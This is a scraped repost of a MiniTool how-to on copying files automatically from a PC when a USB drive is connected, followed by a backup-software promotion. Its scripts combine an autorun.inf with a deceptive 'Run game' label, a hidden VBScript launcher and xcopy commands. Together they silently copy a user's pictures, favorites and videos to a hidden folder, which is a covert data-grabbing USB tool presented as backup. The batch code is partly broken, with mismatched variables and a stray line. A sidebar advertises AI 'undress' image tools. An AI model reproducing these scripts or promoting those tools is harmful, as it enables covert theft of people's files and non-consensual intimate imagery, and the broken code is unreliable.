[固定]連接USB驅動器時如何自動複製文件? - Minitool
How to auto copy USB files silently without notifications on Windows 10/11? If you need to do that, this post from MiniTool Website will help you automatically copy files when USB files connected in detail. Without wasting more time, let’s jump into it right now!
Some of you are looking for a way to copy the files automatically when USB drive plugged in your computer. Don’t worry, this idea seems difficult to realize but we still find a solution for you.
How to Automatically Copy File When USB Drive Connected toYour PC?
To automatically copy file when USB drive connected to your PC, you need to automatically back up files with autorun.inf and .bat file. Here’s how to do it:
Step 1. Create a notepad on your USB flash drive > copy & paste the following content to it and click on File > Save As > change the file name to Autorun.inf > set file type to all files.
[autorun]
icon=drive.ico
open=launch.bat
action=Click ok to Run game for Windows
shell\open\command=launch.bat
Step 2. Create a notepad file with the following contents on your USB flash dive> click on File > Save As > rename it to file.bat > change file type to all types. You can replace picture, videos, Favorites according to your needs.
@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
@echo off
cls
Step 3. Similarly, you can create a notepad file on USB drive named invisible.vbs with the following content. This operation is to create a VB Script to batch file as invisible.
CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False
Step 4. To make a batch file for running VB Script and file.bat, you need to create a notepad file named launch.bat with the following content:
wscript.exe \invisible.vbs file.bat
Step 5. At last, create a folder in the root of USB flash drive named all. Save all the files in the folder and make it hidden. Click on file.bat to test if the batch file works for automatically copy files when USB drive connected to your PC.
Suggestion: Back up Your Files Regularly with MiniTool ShadowMaker
After knowing how to make a USB drive copy files automatically, we recommend an easier way to create an automatic backup – backing up with MiniTool ShadowMaker. This Windows backup software is designed to back up files, folders, partitions, systems, and disks on Windows machines. With it, you can set to back up your task daily, weekly, monthly, or on event. Here’s how to create an automatic backup with ease:
Step 1. Launch MiniTool ShadowMaker to get a 30-day free trial.
Step 2. In the Backup page, choose the file you want to make a copy by hitting SOURCE > Folders and Files. In DESTINATION, select a storage path for your backup task.
Step 3. Click on Back Up Now to start the process or delay the task by hitting Back Up Later. Go to Options > toggle on Schedule Settings manually > set a specific point of a day (s) in a day, week, or month.
Final Words
This post illustrates how to automatically copy files when USB drive connected to your PC via bache file and another easy way to back up your data on a regularly basis. Sincerely they are helpful to you. Appreciate your time!
以上是[固定]連接USB驅動器時如何自動複製文件? - Minitool的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

如果您懷疑自己的硬盤遇到問題,可以檢查Windows 7上的錯誤。此php.cn帖子討論了FixDisk Windows 7。您可以遵循該指南以檢查Windows 7上的錯誤。

許多Surfacebook用戶報告說,他們符合Windows 11/10上的“由EW_USBCCGPFILTER.SYS阻止的核心隔離”問題。 PHP.CN的這篇文章有助於解決煩人的問題。繼續閱讀。

在Windows 10/11中安裝了像NVIDIA驅動程序這樣的圖形驅動程序之後,您是否曾經遇到過黑屏?現在,在PHP.CN的這篇文章中,您可以找到一些值得嘗試的NVIDIA驅動程序更新黑屏的解決方案。

KB2267602是Windows Defender的保護或定義更新,旨在修復Windows中的漏洞和威脅。一些用戶報告說他們無法安裝KB2267602。這篇來自PHP.CN的帖子介紹瞭如何修復“ KB2267602 FAI

數據恢復始終是一個加熱的話題。要成功地從設備恢復數據,您應該知道它如何存儲數據。您可以從此PHP.CN帖子中學習RAID恢復和硬盤恢復之間的區別。

文件系統錯誤通常在人們的計算機上發生,並且該錯誤可能觸發一系列鏈接的故障。 PHP.CN網站上的本文將為您提供針對文件系統錯誤(-1073741521)的一系列修復程序。請繼續

在團隊或Excel打開文件時,您是否會遭受錯誤消息“此應用程序所選擇的FILETYPE”?現在,請閱讀PHP.CN的這篇文章,以獲取有關此問題的一些有用解決方案。

文件屬性中的“安全”選項卡有助於將不同組和用戶設置為文件或文件夾的不同權限。 一些用戶發現文件屬性中缺少Windows 11安全選項卡。來自PHP.CN的這篇文章提供了一些修復它的方法。
